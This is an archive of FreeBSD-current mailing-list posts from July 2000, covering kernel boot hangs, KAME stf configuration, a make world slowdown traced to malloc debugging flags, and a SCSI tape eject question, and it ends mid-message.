owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am getting freezes on -current as of my last two updates, Jul. 9 and today, Jul. 10. My previous update was around Jun 14. I can boot the kernel from the last update just fine, though ppp doesn't work due to net changes. (I'm stuck using the mac with a modem as a natting router. ugh.) Bootblocks are from the Jul 9 update. The system is a BP6 with non-overclocked Celeron 366s, 256MB ram, voodoo3 pci. I've tried both GENERIC and my configured kernel, I've tried swapping video cards to an s3, and changed every other card in the system one time or another while examining this. I played with the video irq in the bios, the pnp bios options, and the hints. The hints are from GENERIC with the addition of my soundblaster pcm entries. I tried unsetting various hints related to sc from the loader, but there was never any change (a boot without any extra hints at all gives the same error, too). I compiled up a kernel with pcvt rather than sc, but that just panicked at the atkbd area, as reported by someone else in the mail archives. I can't find anything in the archives or UPDATING about this situation. All kernels were compiled with default optimization. (copying by hand, junk left out) pci0: <3dfx Voodoo 3 graphics accelerator> at 15.0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xvffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> fdc0: ... fdc0: ... fd0: ... isa0: <@@@0000> found isa0: <@@@0000> found isa0: <@@@0000> found atkbdc0: at port 0x60, 0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 vga1: Generic ISA VGA at port 0x3v0-0x3bb iomem 0xb0000-0xb7fff on isa0 sc1: at flags 0x100 on isa0 _ At this point, the cursor shows but the kb doesn't respond. A few bits of the hints, as reported by "show" from the loader console=vidconsole hint.atkbd.at=atkbdc hint.atkbd.0.flags=0x1 hint.atkbd.0.irq=1 hint.atkbdc.0.at=isa hint.atkbdc.0.port=0x060 hint.sc.0.at=isa hint.sc.0.flags=0x100 hint.vga.0.at=isa hint.vt.0.at=isa Any help would be greatly appreciated. -- -- Eric Anholt anholt@teleport.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 9:25:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from light.imasy.or.jp (light.imasy.or.jp [202.227.24.4]) by hub.freebsd.org (Postfix) with ESMTP id 53F7237B5CC; Tue, 11 Jul 2000 09:25:38 -0700 (PDT) (envelope-from ume@mahoroba.org) Received: (from uucp@localhost) by light.imasy.or.jp (8.9.3+3.2W/3.7W-light) with UUCP id BAA23487; Wed, 12 Jul 2000 01:25:29 +0900 (JST) (envelope-from ume@mahoroba.org) Received: from localhost (IDENT:aOVCtxx6Ke4oYE7RIfK0BWtt4jfT68d1dT3/QLe16v3734uI5CdL6dvSzGETFOeF@peace.mahoroba.org [3ffe:505:2:0:200:f8ff:fe05:3eae]) by mail.mahoroba.org (8.10.2/3.7W-chaos) with ESMTP id e6BGOTm09663; Wed, 12 Jul 2000 01:24:29 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Wed, 12 Jul 2000 01:24:28 +0900 (JST) Message-Id: <20000712.012428.07641409.ume@mahoroba.org> To: ben@FreeBSD.org Cc: kris@FreeBSD.org, sheldonh@FreeBSD.org, current@freebsd.org Subject: Re: KAME integration and plans From: Hajimu UMEMOTO In-Reply-To: <20000711145635.A18912@magnesium.scientia.demon.co.uk> References: <20000711145635.A18912@magnesium.scientia.demon.co.uk> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Tue, 11 Jul 2000 14:56:35 +0100 >>>>> Ben Smithurst said: ben> 'pseudo-device stf' gives an error, stf lives in the gif driver, so this ben> is required really. Is that ok? Is there anyone at KAME I should send ben> this to as well? No. Before merging latest KAME, that is true. In that days, stf was quick hack version of gif. But, stf is NOT gif but stf, now. My config contains: device stf # 6to4 IPv6 over IPv4 encapsulation -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 9:37: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 6199037BAE6 for ; Tue, 11 Jul 2000 09:37:02 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 1038 invoked from network); 11 Jul 2000 16:37:01 -0000 Received: from acs-24-154-24-131.zoominternet.net (HELO cvzoom.net) (24.154.24.131) by ns.cvzoom.net with SMTP; 11 Jul 2000 16:37:01 -0000 Message-ID: <396B4D2C.77029A77@cvzoom.net> Date: Tue, 11 Jul 2000 12:37:00 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: current@freebsd.org Subject: Recent syscons weirdness (nervous /dev/sysmouse) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm using moused in conjunction with XFree86 4.0.1 and /dev/sysmouse. Recently, my mouse pointer has been extremely jumpy in XFree86. I think this is a syscons problem, as I have this problem with moused at the console as well. Also, cursor movement is very jumpy. -- - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 9:40: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by hub.freebsd.org (Postfix) with ESMTP id DBE4937BF92 for ; Tue, 11 Jul 2000 09:39:59 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id MAA01734 for ; Tue, 11 Jul 2000 12:39:57 -0400 (EDT) Received: from njb140bh2.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id MAA07323; Tue, 11 Jul 2000 12:38:48 -0400 (EDT) Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2650.21) id <3NACRQ2A>; Tue, 11 Jul 2000 12:39:57 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'freebsd-current@freebsd.org'" Subject: NETGRAPH changes Date: Tue, 11 Jul 2000 12:39:46 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, Does anybody knows when -current NETGRAPH changes will be back ported to 4.X branch (if they ever will)? Thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 9:52: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from kobayashi.uits.iupui.edu (kobayashi.uits.iupui.edu [134.68.11.80]) by hub.freebsd.org (Postfix) with ESMTP id D3ADD37B5F9; Tue, 11 Jul 2000 09:51:54 -0700 (PDT) (envelope-from ajk@iu.edu) Received: from localhost (ajk@localhost) by kobayashi.uits.iupui.edu (8.9.3/8.9.3) with ESMTP id LAA51614; Tue, 11 Jul 2000 11:51:52 -0500 (EST) (envelope-from ajk@iu.edu) Date: Tue, 11 Jul 2000 11:51:52 -0500 (EST) From: "Andrew J. Korty" X-Sender: ajk@kobayashi.uits.iupui.edu To: "Andrey A. Chernov" Cc: current@freebsd.org, obrien@freebsd.org, peter@freebsd.org Subject: Re: bug: kernel hangs at boot Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jun 30, 2000 at 06:29:11AM -0700, Andrey A. Chernov wrote: > On Wed, Jun 28, 2000 at 11:03:22PM -0700, Andrey A. Chernov wrote: > > Fresh -current kernel with fresh -current bootblocks loaded ok but hangs in > > boot (no diagnostics even printed, just silent hang with "/" on the screen). > > > > Kernel from Jun14 with fresh -current bootblocks (i.e. the same bootblocks) > > booted Ok. > > The reason found. I have "-O2 pipe" instead of default "-O pipe", but I have > it working all the time from very beginning. Why this becomes broken? I've been having the same problem for weeks on my Sony Vaio Z505RX, and recently reproduced it on my K6 300. Changing -O2 to -O doesn't help. The spinner freezes (sometimes on "/", but not always), but the system still seems to boot without displaying anything on the console. The disk spins as if fsck is running, but the system is essentially unusable. It's almost as if the console is not being detected. This problem began after Peter Wemm's config changes. Both my own kernel configuration nor GENERIC behave similarly. New boot blocks did not help for either of my systems. -- Andrew J. Korty, Principal Security Engineer Office of the Vice President for Information Technology Indiana University To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 10: 1:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 8621E37C016 for ; Tue, 11 Jul 2000 10:01:24 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13C3Ov-0000Ci-00; Tue, 11 Jul 2000 19:00:53 +0200 From: Sheldon Hearn To: Eric Anholt Cc: current@FreeBSD.ORG Subject: Re: syscons hangs with -current In-reply-to: Your message of "Mon, 10 Jul 2000 11:14:16 MST." Date: Tue, 11 Jul 2000 19:00:52 +0200 Message-ID: <787.963334852@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000 11:14:16 MST, Eric Anholt wrote: > I am getting freezes on -current as of my last two updates, Jul. 9 > and today, Jul. 10. My previous update was around Jun 14. I can > boot the kernel from the last update just fine, though ppp doesn't > work due to net changes. Just as a datapoint, I'm getting reboots and hard locks shortly after reboot (no more than 20 minutes) using a kernel built from sources from around 22H30 last night. A kernel from around the same time on Friday last week does not exhibit the problem. > sc1: at flags 0x100 on isa0 Note, though, that my box _does_ make it _well_ past the kernel probe stage and doesn't show the peculiar sc1 device at probe time. Any idea what that is, by the way? You haven't perhaps got ``device sc 2'' or something crazy in your kernel config file? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 10:39:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id AD5D137B582 for ; Tue, 11 Jul 2000 10:39:29 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id KAA12374; Tue, 11 Jul 2000 10:39:23 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id KAA53177; Tue, 11 Jul 2000 10:39:23 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Tue, 11 Jul 2000 10:39:23 -0700 (PDT) Message-Id: <200007111739.KAA53177@vashon.polstra.com> To: Alexander@Leidinger.net Subject: Re: Perl 5.6.0 & pod2man & ports In-Reply-To: <200007111040.MAA01457@Magelan.Leidinger.net> References: <200007111040.MAA01457@Magelan.Leidinger.net> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <200007111040.MAA01457@Magelan.Leidinger.net>, Alexander Leidinger wrote: > On 10 Jul, Will Andrews wrote: > > >> Only if ports-base isn't anymore in ports-all or my local CVS tree is > > > > ports-base was/has never [been] in ports-all, for some strange reason. > > Really? [...] > I read this as: If you didn't use "ports-all", you have to use > "ports-base". If you use "ports-all", "ports-base" is already included. You are correct. The ports-all collection includes ports-base, and that has always been the case. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 10:50:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 3429937B69C; Tue, 11 Jul 2000 10:49:58 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.15 #1) id 13C3EO-000O9f-00; Tue, 11 Jul 2000 17:50:00 +0100 Received: (from ben) by strontium.scientia.demon.co.uk (Exim 3.15 #1) id 13C3EO-0003Qc-00; Tue, 11 Jul 2000 17:50:00 +0100 Date: Tue, 11 Jul 2000 17:50:00 +0100 From: Ben Smithurst To: Hajimu UMEMOTO Cc: kris@FreeBSD.org, sheldonh@FreeBSD.org, current@freebsd.org Subject: Re: KAME integration and plans Message-ID: <20000711175000.W11000@strontium.scientia.demon.co.uk> References: <20000711145635.A18912@magnesium.scientia.demon.co.uk> <20000712.012428.07641409.ume@mahoroba.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="EmW68jKGQIhj8inv" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000712.012428.07641409.ume@mahoroba.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --EmW68jKGQIhj8inv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hajimu UMEMOTO wrote: >>>>>> On Tue, 11 Jul 2000 14:56:35 +0100 >>>>>> Ben Smithurst said: >=20 > ben> 'pseudo-device stf' gives an error, stf lives in the gif driver, so = this > ben> is required really. Is that ok? Is there anyone at KAME I should s= end > ben> this to as well? >=20 > No. Before merging latest KAME, that is true. In that days, stf was > quick hack version of gif. But, stf is NOT gif but stf, now. > My config contains: >=20 > device stf # 6to4 IPv6 over IPv4 encapsulation Ok. I guess all that needs doing is s/pseudo-device/device/ in the SYNOPSIS then. --=20 Ben Smithurst / ben@FreeBSD.org / PGP: 0x99392F7D --EmW68jKGQIhj8inv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: WdwMDAecGDdr+CmSQZVSrlXGC2Rp4jY+ iQCVAwUBOWtQNysPVtiZOS99AQGXkQP/ZjRx6WrD1V0YYYNUl+dsnLbWvsK4oxWe WaVDFcClkYW4sysnMUT5yVRVIjcSS8koofPU/MM+scclU4lldhn9uay6VuusELhX AHhuiSwL7oGpkADVfDBeN28Hxm9LWRLGSglzu6JxCeFn6LgWkdq8hBw0KN53LODZ kKGwvfUYo3U= =kNU6 -----END PGP SIGNATURE----- --EmW68jKGQIhj8inv-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 11: 1:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id 41EE437B716; Tue, 11 Jul 2000 11:01:30 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: from ix.netcom.com (sil-wa15-13.ix.netcom.com [207.93.148.13]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id OAA11633; Tue, 11 Jul 2000 14:01:24 -0400 (EDT) Received: (from tomdean@localhost) by ix.netcom.com (8.9.3/8.9.3) id LAA00623; Tue, 11 Jul 2000 11:01:21 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Date: Tue, 11 Jul 2000 11:01:21 -0700 (PDT) Message-Id: <200007111801.LAA00623@ix.netcom.com> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@ix.netcom.com using -f From: "Thomas D. Dean" To: freebsd-smp@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Recent -current Performance Drop? Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't know if this belongs in -current or -smp, so here goes. I am running -current SMP, cvsup, etc. late last night PDT. # uname -a FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ Tue Jul 11 09:53:15 PDT 2000 \ tomdean@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 I have been using 'make world' as a stability/performance indicator. The stability has been good. I have had no recent panics, etc., during 'make world'. I choose the times to update carefully. Good work core team. I seem to see somewhat of a performance drop in the past week. I save the output of 'make world' I know this is not a benchmark nor a very accurate indicator. However, I believe 'make world' is a pretty good torque tool for a lightly loaded, interactive, 'play' system. And, disk I/O, compiling and executing user code is what interactive users do. If 'make world' puts out approximately the same number of lines, I think it is doing about the same amount of work. I see an increase in 'make world' time over the past week, or so. The number of lines of output has gone up slightly. The time elapsed has gone up more. # world_time.sh Make World Statistics -current SMP, 2xP133, 96MB RAM, IBM Superstor 9G disk. Lines is the number of lines of output produced by 'make world'. Date Lines Make Time Lines/Minute -------- ----- --------- ------------ 19991018 35281 6h40m16s 88.20 20000401 39490 7h56m18s 82.96 20000402 39427 7h28m41s 88.01 20000412 39404 7h10m21s 91.64 20000621 38679 7h20m20s 87.91 20000630 39530 7h56m20s 83.05 20000709 39679 8h40m28s 76.31 20000710 39568 9h13m46s 71.55 20000711 41178 9h22m05s 73.27 tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 11:19: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 70DCE37B582 for ; Tue, 11 Jul 2000 11:18:55 -0700 (PDT) (envelope-from bsdx@looksharp.net) Received: from localhost (bsdx@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id OAA05592; Tue, 11 Jul 2000 14:18:34 -0400 (EDT) (envelope-from bsdx@looksharp.net) Date: Tue, 11 Jul 2000 14:18:34 -0400 (EDT) From: Adam To: "Thomas D. Dean" Cc: current@freebsd.org Subject: Re: Recent -current Performance Drop? In-Reply-To: <200007111801.LAA00623@ix.netcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG phk turned on some extra malloc options by default that a) catch more bugs b) make it slower. I hope you are reading cvs-all when you are using -current. On Tue, 11 Jul 2000, Thomas D. Dean wrote: >I don't know if this belongs in -current or -smp, so here goes. > >I am running -current SMP, cvsup, etc. late last night PDT. > ># uname -a >FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ > Tue Jul 11 09:53:15 PDT 2000 \ > tomdean@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 > >I have been using 'make world' as a stability/performance indicator. > >The stability has been good. I have had no recent panics, etc., >during 'make world'. I choose the times to update carefully. > >Good work core team. > >I seem to see somewhat of a performance drop in the past week. > >I save the output of 'make world' I know this is not a benchmark nor a >very accurate indicator. However, I believe 'make world' is a pretty >good torque tool for a lightly loaded, interactive, 'play' system. >And, disk I/O, compiling and executing user code is what interactive >users do. > >If 'make world' puts out approximately the same number of lines, I >think it is doing about the same amount of work. > >I see an increase in 'make world' time over the past week, or so. The >number of lines of output has gone up slightly. The time elapsed has >gone up more. > ># world_time.sh >Make World Statistics >-current SMP, 2xP133, 96MB RAM, IBM Superstor 9G disk. >Lines is the number of lines of output produced by 'make world'. >Date Lines Make Time Lines/Minute >-------- ----- --------- ------------ >19991018 35281 6h40m16s 88.20 >20000401 39490 7h56m18s 82.96 >20000402 39427 7h28m41s 88.01 >20000412 39404 7h10m21s 91.64 >20000621 38679 7h20m20s 87.91 >20000630 39530 7h56m20s 83.05 >20000709 39679 8h40m28s 76.31 >20000710 39568 9h13m46s 71.55 >20000711 41178 9h22m05s 73.27 > >tomdean > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-smp" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 11:24:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 64D1C37B582; Tue, 11 Jul 2000 11:23:35 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id UAA02463; Tue, 11 Jul 2000 20:23:26 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: "Thomas D. Dean" Cc: freebsd-smp@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Recent -current Performance Drop? In-reply-to: Your message of "Tue, 11 Jul 2000 11:01:21 PDT." <200007111801.LAA00623@ix.netcom.com> Date: Tue, 11 Jul 2000 20:23:26 +0200 Message-ID: <2461.963339806@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I seem to see somewhat of a performance drop in the past week. You should have read the commit messages :-) I enabled malloc flags AJ by default, this has a performance cost. It will be turned off for releases of course. It has already exposed on bug (see peters commit). You can disable it if you want to run benchmarks: ln -sf aj /etc/malloc.conf -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 12:50:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.pwahec.org (mail.pwahec.org [208.164.136.32]) by hub.freebsd.org (Postfix) with ESMTP id 6E84637B7E8; Tue, 11 Jul 2000 12:50:11 -0700 (PDT) (envelope-from rsmall@pwahec.org) Received: from technogeek [208.129.166.68] by mail.pwahec.org (SMTPD32-5.05) id AA6F200020C; Tue, 11 Jul 2000 14:50:07 -0500 From: "Robert Small" To: , "freebsd-questions@FreeBSD. ORG" Subject: SCSI DAT tape question Date: Tue, 11 Jul 2000 14:50:08 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm running an adaptec controller (1542CF) with a Sony SDT-5000. I'm running: reeBSD (5.0-20000511-CURRENT FreeBSD 5.0-20000511-CURRENT #4: Thu Jul 6 20:31:41 CDT 2000) When I issue the command "camcontrol eject sa0" I receive: Error received from stop unit command When I issue the command "camcontrol stop sa0" I receive" Error received from stop unit command I can boot the system into Windows or System Commander and eject the tape using the eject button. Any ideas? Robert To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13: 9:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from bmah-freebsd-0.cisco.com (bmah-freebsd-0.cisco.com [171.70.84.42]) by hub.freebsd.org (Postfix) with ESMTP id 0EBB337B8D6; Tue, 11 Jul 2000 13:09:18 -0700 (PDT) (envelope-from bmah@cisco.com) Received: (from bmah@localhost) by bmah-freebsd-0.cisco.com (8.11.0.Beta3/8.11.0.Beta3) id e6BK9Fb10729; Tue, 11 Jul 2000 13:09:15 -0700 (PDT) (envelope-from bmah) Message-Id: <200007112009.e6BK9Fb10729@bmah-freebsd-0.cisco.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: "Robert Small" Cc: freebsd-current@FreeBSD.ORG, "freebsd-questions@FreeBSD. ORG" Subject: Re: SCSI DAT tape question In-Reply-To: References: Comments: In-reply-to "Robert Small" message dated "Tue, 11 Jul 2000 14:50:08 -0500." From: bmah@cisco.com (Bruce A. Mah) Reply-To: bmah@cisco.com X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ X-Image-Url: http://www.employees.org/~bmah/Images/bmah-cisco-small.gif X-Url: http://www.employees.org/~bmah/ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1264396285P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Tue, 11 Jul 2000 13:09:15 -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --==_Exmh_-1264396285P Content-Type: text/plain; charset=us-ascii If memory serves me right, "Robert Small" wrote: > I'm running an adaptec controller (1542CF) with a Sony SDT-5000. I'm > running: > > reeBSD (5.0-20000511-CURRENT FreeBSD 5.0-20000511-CURRENT #4: Thu Jul 6 > 20:31:41 CDT 2000) > > When I issue the command "camcontrol eject sa0" I receive: > > Error received from stop unit command > > When I issue the command "camcontrol stop sa0" I receive" > > Error received from stop unit command > > I can boot the system into Windows or System Commander and eject the > tape using the eject button. > > Any ideas? Is there some reason why "mt -f /dev/nsa0 offline" won't do what you want? Bruce. --==_Exmh_-1264396285P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: vMshI8WF4DE0aPjOyqDn5ifeBSaG02sT iQA/AwUBOWt+69jKMXFboFLDEQI4EgCdFX6t2eZSnw/Lyd+xcybumzJUs1EAoMHc MWm19fzYv+a3lnSF7w4BlG3e =Cpzc -----END PGP SIGNATURE----- --==_Exmh_-1264396285P-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:20:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id E088137B808 for ; Tue, 11 Jul 2000 13:20:23 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id NAA38807; Tue, 11 Jul 2000 13:20:14 -0700 (PDT) From: Archie Cobbs Message-Id: <200007112020.NAA38807@bubba.whistle.com> Subject: Re: NETGRAPH changes In-Reply-To: from "Yevmenkin, Maksim N, CSCIO" at "Jul 11, 2000 12:39:46 pm" To: myevmenkin@att.com (Yevmenkin Maksim N CSCIO) Date: Tue, 11 Jul 2000 13:20:14 -0700 (PDT) Cc: freebsd-current@FreeBSD.ORG ('freebsd-current@freebsd.org') X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yevmenkin, Maksim N, CSCIO writes: > Does anybody knows when -current NETGRAPH changes > will be back ported to 4.X branch (if they ever will)? Which changes in particular are you asking about? -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 13:23:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by hub.freebsd.org (Postfix) with ESMTP id 9BB2B37B7E8 for ; Tue, 11 Jul 2000 13:23:13 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id QAA25139; Tue, 11 Jul 2000 16:23:11 -0400 (EDT) Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id QAA15740; Tue, 11 Jul 2000 16:22:02 -0400 (EDT) Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2650.21) id <33522V4A>; Tue, 11 Jul 2000 16:23:10 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'Archie Cobbs'" Cc: freebsd-current@FreeBSD.ORG Subject: RE: NETGRAPH changes Date: Tue, 11 Jul 2000 16:22:58 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Which 